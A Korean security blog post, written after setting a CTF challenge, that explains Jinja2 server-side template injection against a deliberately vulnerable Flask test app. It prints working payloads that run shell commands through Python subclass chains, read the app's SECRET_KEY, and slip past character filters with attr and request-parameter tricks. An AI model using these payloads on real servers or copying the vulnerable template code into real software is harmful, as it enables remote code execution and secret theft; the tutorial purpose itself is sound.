Server-Side Template Injection(SSTI)

Web

라온화이트햇 핵심연구팀 임재연

2021년 04월 24일 진행되었던 HSPACE CTF THE ZERO 대회 문제를 출제하면서 SSTI에 대한 내용과 필터링 우회 방법을 알게 되어 이와 관련된 주제로 포스팅을 작성하였습니다.

1. SSTI란?

SSTI(Server-Side Template Injection)는 템플릿을 사용하여 웹 어플리케이션을 구동할 때, 사용자의 입력이 적절하게 필터링 되지 않아 템플릿 구문을 삽입 할 수 있을 때 발생합니다.

삽입 된 템플릿은 서버 측에서 해석 되기 때문에 심각한 경우 RCE(Remote Code Execution) 취약점까지 연결 될 수도 있습니다.

2. jinja2 템플릿에서의 SSTI

/assets/2021-05-01/SSTI_1.png

출처 : https://portswigger.net/research/server-side-template-injection

웹 어플리케이션에서 사용되는 템플릿의 종류는 여러가지가 있습니다. portswigger 블로그에서는 몇 가지 단일 페이로드를 사용하여 템플릿을 식별하는 방법을 소개 하고 있습니다.

이번 포스팅에서는 여러 템플릿 중 Jinja2 템플릿에서 발생하는 SSTI 취약점에 대해 다루고자 합니다.

<!DOCTYPE html>
<html lang="en">
<head>
    <title>My Webpage</title>
</head>
<body>
    <ul id="navigation">
    {% for item in navigation %}
        <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
    {% endfor %}
    </ul>

    <h1>My Webpage</h1>
    {{ a_variable }}

    {# a comment #}
</body>
</html>

위 코드는 jinja2 템플릿을 사용하는 기본적인 예시입니다.

{% 반복문(for) %}, {{ 값 출력 }}, {# 주석 #}

위와 같이 사용할 수 있으며, 이 중 이번 포스팅에서는 {{ ... }} 를 사용할 예정입니다.

2.1 테스트 환경 구축

테스트를 위해 flask 모듈을 사용하여 간단한 웹 페이지를 만들었습니다.

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)
app.secret_key = "my Secret!!"

filtering = []

@app.route('/')
def index():
  return render_template("index.html", title="SSTI Test Page", message="Test Page!")

@app.route('/submit', methods=['POST'])
def sbmit():
  parm1 = request.form.get('message') or None
  for word in filtering:
      if word in parm1:
          return "NoNo... [{}] - filter list [ ".format(word)+", ".join(filtering)+" ]"
  template = '''
  data = ({})
'''.format(parm1)
  return render_template_string(template)

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=5000)

코드를 살펴보면 POST 메소드로 요청을 받을 때, message로 전달 받은 값을 data = ({}) 에 넣고 render_template_string 함수를 사용하여 템플릿 구문을 해석하도록 하였습니다.

해당 페이지에 {{7*7}} 이라는 데이터를 전송했을 때, 아래 그림과 같이 7*7 부분이 계산되어 화면에 표시되는 것을 확인 할 수 있습니다.

/assets/2021-05-01/SSTI_2.png

2.2. RCE with SSTI

jinja2 템플릿 구문 중 {{ ... }} 구문은 중괄호 안의 값을 동적으로 화면에 표시하여 주는 기능을 가지고 있습니다.

위 구문을 사용하여 RCE 취약점을 실행시키는 알려진 몇 가지 예시를 살펴보도록하겠습니다.

많은 공격 코드에서 RCE 취약점을 발생시키기 위해 python의 특수 어트리뷰트(Special Attributes)를 사용합니다.

/assets/2021-05-01/SSTI_3.png

먼저 빈 문자열 ""__class__ 를 사용하여 문자열의 클래스에 접근합니다.

/assets/2021-05-01/SSTI_4.png

실행 결과 data = (<class 'str'>) 응답이 온 것을 확인할 수 있습니다.

이어서 str 클래스에 __base__ 를 사용하면 data = (<class 'object'>) 응답을 확인할 수 있으며, object 클래스에 접근 할 수 있습니다.

object class : The base class of the class hierarchy.

/assets/2021-05-01/SSTI_5.png

다음으로 __subclasses__() 를 사용하여 object 클래스의 서브클래스 목록을 dict 형태로 반환하게 합니다.

/assets/2021-05-01/SSTI_6.png

조금 더 보기 쉽게 바꾸어 보면 아래와 같습니다.

/assets/2021-05-01/SSTI_7.png

다양한 클래스들을 확인할 수 있으며, 이제 원하는 클래스를 가져와 사용할 수 있습니다.

아래 두 가지 예시는 codecs.IncrementalDecoder 클래스와 subprocess.Popen 클래스를 사용하여 명령어를 실행하는 예시입니다.

# 109 : <class 'codecs.IncrementalDecoder'>
{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}

/assets/2021-05-01/SSTI_8.png

# 273 : <class 'subprocess.Popen'>
{{"".__class__.__base__.__subclasses__()[273]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

/assets/2021-05-01/SSTI_9.png

두 가지 공격 코드 모두 서버에서 명령을 실행하고 그 결과를 반환해 주는 것을 확인할 수 있습니다.

109, 273등 index값은 서버 환경에 따라 달라질 수 있습니다.

2.3. get secret_key with SSTI

SSTI 취약점을 통해 명령어를 실행하는 것 뿐만 아니라 서버의 중요 정보를 탈취할 수도 있습니다.

처음 테스트 환경을 구축할 때 다음과 같이 secret_key를 설정 해두었습니다.

app = Flask(__name__)
app.secret_key = "my Secret!!"

SSTI취약점이 존재하고, 적절한 필터링이 수행되지 않을 경우, 설정되어있는 secret_key를 확인할 수 있습니다.

{{config['SECRET_KEY']}}

/assets/2021-05-01/SSTI_10.png

3. SSTI 필터링 우회 in CTF - jinja2

앞서 살펴본 것처럼 SSTI 취약점을 통해 명령어를 실행하거나, Secret_key 를 탈취할 수 있었습니다.

그렇기 때문에 종종 CTF 문제에서는 SSTI 취약점을 사용해야하는 문제를 출제할 때 필터링을 추가하기도 합니다.

필터링의 한가지 예시로 __class__ 와 같은 attribute의 사용을 방지하기 위해 _ 문자를 필터링하거나, config 등의 문자열을 필터링 하기도 합니다.

이러한 필터링은 다양한 방법으로 우회가 가능합니다.

3.1. case.1 - attr을 이용한 방법

jinja2 템플릿에서 사용할 수 있는 기능 중 Builtin Filters 가 존재합니다.

/assets/2021-05-01/SSTI_11.png

이 중 attr 필터를 사용하여 문자열 필터링을 우회할 수 있습니다.

/assets/2021-05-01/SSTI_12.png

우리가 사용하고 싶은 코드인 "".__class__""|attr("\x5f\x5fclass\x5f\x5f") 와 같이 작성하여 동일한 기능을 수행하게 할 수 있습니다.

“\x5f” == “_”

/assets/2021-05-01/SSTI_13.png

이를 통해 _ 문자를 우회하여 공격 코드를 전송 할 수 있습니다.

# 273 : <class 'subprocess.Popen'>
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(273)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)}}

/assets/2021-05-01/SSTI_14.png

3.2. case.2 - request, attr을 이용한 방법

소스코드를 다시 한번 살펴보면 필터링에 대한 체크를 message 파라미터에 대해서만 하는 것을 확인할 수 있습니다.

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)
app.secret_key = "my Secret!!"

filtering = []

@app.route('/')
def index():
  return render_template("index.html", title="SSTI Test Page", message="Test Page!")

@app.route('/submit', methods=['POST'])
def sbmit():
  parm1 = request.form.get('message') or None
  for word in filtering:
      if word in parm1:
          return "NoNo... [{}] - filter list [ ".format(word)+", ".join(filtering)+" ]"
  template = '''
  data = ({})
'''.format(parm1)
  return render_template_string(template)

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=5000)

필터링을 다음과 같이 추가하고 테스트를 진행하였습니다.

filtering = ["os", "config", "_", "\\x5f","join"]
{{""|attr(request.form.get('test'))}}

request.form.get 을 사용하여 test 파라미터로 들어오는 값을 attr 필터에 넣어주는 예시입니다. test 파라미터에는 __class__ 를 추가해주었습니다.

/assets/2021-05-01/SSTI_15.png

이를 활용하여 앞서 사용했던 공격 코드를 다시 만들어보면 다음과 같습니다.

{{""|attr(request.form.get('test1'))|attr(request.form.get('test2'))|attr(request.form.get('test3'))()|attr(request.form.get('test4'))(273)('ls',shell=True,stdout=-1)|attr('communicate')()|attr(request.form.get('test4'))(0)}}

/assets/2021-05-01/SSTI_16.png

지금까지 다루었던 방법 외에도 join 필터를 사용하거나, 그 외에도 다양한 방법으로 필터링 우회가 가능합니다.

5. 참고자료

https://core-research-team.github.io/2020-07-01/Vulnerabilities-of-Flask

https://jinja.palletsprojects.com/en/2.11.x/templates/

https://portswigger.net/research/server-side-template-injection

https://0day.work/jinja2-template-injection-filter-bypasses/

https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f

https://en.wikipedia.org/wiki/Jinja_(template_engine)

https://www.programmersought.com/article/91565232044/

https://docs.python.org/3/library/stdtypes.html#special-attributes